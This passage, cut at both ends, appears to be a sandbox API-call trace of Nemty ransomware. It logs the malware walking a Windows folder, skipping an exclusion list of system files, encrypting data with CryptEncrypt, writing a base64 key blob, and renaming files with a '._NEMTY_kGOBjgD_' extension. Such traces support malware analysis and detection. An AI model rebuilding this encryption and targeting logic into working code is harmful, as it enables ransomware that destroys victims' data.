| out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.331] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.332] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.332] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.332] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.338] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.338] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.338] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.338] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340398, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0167.338] CloseHandle (hObject=0xffffffff) returned 0 [0167.338] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6343fe8 [0167.338] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0167.338] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0167.338] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0167.338] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0167.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0167.338] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x63440e0 [0167.338] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x166) returned 0x63441d8 [0167.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440e0 | out: hHeap=0x4f90000) returned 1 [0167.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0167.338] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_black_moon-waning-gibbous_partly-cloudy.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_black_moon-waning-gibbous_partly-cloudy.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_black_moon-waning-gibbous_partly-cloudy.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_black_moon-waning-gibbous_partly-cloudy.png._nemty_kgobjgd_")) returned 0 [0167.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63441d8 | out: hHeap=0x4f90000) returned 1 [0167.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0167.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0167.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340398 | out: hHeap=0x4f90000) returned 1 [0167.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0167.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0167.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0167.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402a0 | out: hHeap=0x4f90000) returned 1 [0167.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0167.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0167.338] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e4e9ff, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86e4e9ff, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x318a8733, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x4dd3, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="undocked_black_moon-waxing-crescent.png", cAlternateFileName="")) returned 1 [0167.338] lstrcmpiW (lpString1="undocked_black_moon-waxing-crescent.png", lpString2=".") returned 1 [0167.339] lstrcmpiW (lpString1="undocked_black_moon-waxing-crescent.png", lpString2="..") returned 1 [0167.339] lstrcmpiW (lpString1="undocked_black_moon-waxing-crescent.png", lpString2="...") returned 1 [0167.339] lstrcmpiW (lpString1="undocked_black_moon-waxing-crescent.png", lpString2="windows") returned -1 [0167.339] lstrcmpiW (lpString1="undocked_black_moon-waxing-crescent.png", lpString2="$RECYCLE.BIN") returned 1 [0167.339] lstrcmpiW (lpString1="undocked_black_moon-waxing-crescent.png", lpString2="rsa") returned 1 [0167.339] lstrcmpiW (lpString1="undocked_black_moon-waxing-crescent.png", lpString2="NTDETECT.COM") returned 1 [0167.339] lstrcmpiW (lpString1="undocked_black_moon-waxing-crescent.png", lpString2="ntldr") returned 1 [0167.339] lstrcmpiW (lpString1="undocked_black_moon-waxing-crescent.png", lpString2="MSDOS.SYS") returned 1 [0167.339] lstrcmpiW (lpString1="undocked_black_moon-waxing-crescent.png", lpString2="IO.SYS") returned 1 [0167.339] lstrcmpiW (lpString1="undocked_black_moon-waxing-crescent.png", lpString2="boot.ini") returned 1 [0167.339] lstrcmpiW (lpString1="undocked_black_moon-waxing-crescent.png", lpString2="boot.ini") returned 1 [0167.339] lstrcmpiW (lpString1="undocked_black_moon-waxing-crescent.png", lpString2="AUTOEXEC.BAT") returned 1 [0167.339] lstrcmpiW (lpString1="undocked_black_moon-waxing-crescent.png", lpString2="ntuser.dat") returned 1 [0167.339] lstrcmpiW (lpString1="undocked_black_moon-waxing-crescent.png", lpString2="desktop.ini") returned 1 [0167.339] lstrcmpiW (lpString1="undocked_black_moon-waxing-crescent.png", lpString2="CONFIG.SYS") returned 1 [0167.339] lstrcmpiW (lpString1="undocked_black_moon-waxing-crescent.png", lpString2="RECYCLER") returned 1 [0167.339] lstrcmpiW (lpString1="undocked_black_moon-waxing-crescent.png", lpString2="BOOTSECT.BAK") returned 1 [0167.339] lstrcmpiW (lpString1="undocked_black_moon-waxing-crescent.png", lpString2="bootmgr") returned 1 [0167.339] lstrcmpiW (lpString1="undocked_black_moon-waxing-crescent.png", lpString2="programdata") returned 1 [0167.339] lstrcmpiW (lpString1="undocked_black_moon-waxing-crescent.png", lpString2="appdata") returned 1 [0167.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94088 [0167.339] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-waxing-crescent.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0167.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0167.339] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-waxing-crescent.png", cchWideChar=39, lpMultiByteStr=0x6345608, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_moon-waxing-crescent.png", lpUsedDefaultChar=0x0) returned 39 [0167.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0167.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0167.339] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-waxing-crescent.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0167.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0167.339] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-waxing-crescent.png", cchWideChar=39, lpMultiByteStr=0x6345608, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_moon-waxing-crescent.png", lpUsedDefaultChar=0x0) returned 39 [0167.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0167.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0167.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0167.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94088 [0167.339] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-waxing-crescent.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0167.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0167.340] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-waxing-crescent.png", cchWideChar=39, lpMultiByteStr=0x6345608, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_moon-waxing-crescent.png", lpUsedDefaultChar=0x0) returned 39 [0167.340] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0167.340] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94088 [0167.340] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-waxing-crescent.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0167.340] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0167.340] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-waxing-crescent.png", cchWideChar=39, lpMultiByteStr=0x6345640, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_moon-waxing-crescent.png", lpUsedDefaultChar=0x0) returned 39 [0167.340] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0167.340] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63400d0 [0167.340] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0167.340] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63401a8 [0167.340] Sleep (dwMilliseconds=0x5) [0167.354] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1765e3b0, dwHighDateTime=0x1d561e8)) [0167.354] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1765e3b0, dwHighDateTime=0x1d561e8)) [0167.355] GetLastError () returned 0x5 [0167.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0167.355] GetLastError () returned 0x5 [0167.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0167.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0167.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0167.355] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0167.355] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0167.355] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0167.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340280 [0167.355] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340280, pcchString=0x653e91c | out: pszString="j+RChThbEko+Ro8ukINa1xonK6l1rhlefT9f6GtQh95RdD7atfiwpS4Fw2a4g2JU\r\nWy2+nFx/gp7M3oWEn0WUanqo+CnM8t4d8Tq1igigTz21bHrRTi/oT6JExKPzz2DK\r\nYePwdzdgM1mm2N+gSchhVtf25bNLzKAFtYJhbRn7MppJ79W5AeX0OGv/mYj7La2g\r\nkTrmVnZDVMEFqWMLDablvuWVD/AV+DdxqnOpMuRn4Af2dAk8ohJcDRYO5YDTBtz7\r\npOb1T4rXte0C22JJvt3lYjQwiW3EKXbeJoYfK9f1yUiaURefkLChYTkVyvI3nD5t\r\nLYMtTa79LEP6QEj0cU0QUQ==\r\n", pcchString=0x653e91c) returned 1 [0167.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0167.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0167.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0167.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0167.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340280 [0167.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0167.355] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_black_moon-waxing-crescent.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_black_moon-waxing-crescent.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0167.355] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0167.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0167.355] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.356] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.365] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.365] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.365] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.365] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.374] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.374] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.374] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.374] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.384] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.384] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.384] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.384] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.393] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.393] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.393] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.393] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.402] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.402] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.402] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.403] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.412] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.412] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.412] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.412] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.421] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.421] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.421] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.421] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.430] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.430] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.430] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.430] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.440] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.440] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.440] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.440] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.449] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.449] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.449] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.449] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.455] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.455] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.455] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.455] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.462] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.462] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.462] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.463] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340280, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0167.463] CloseHandle 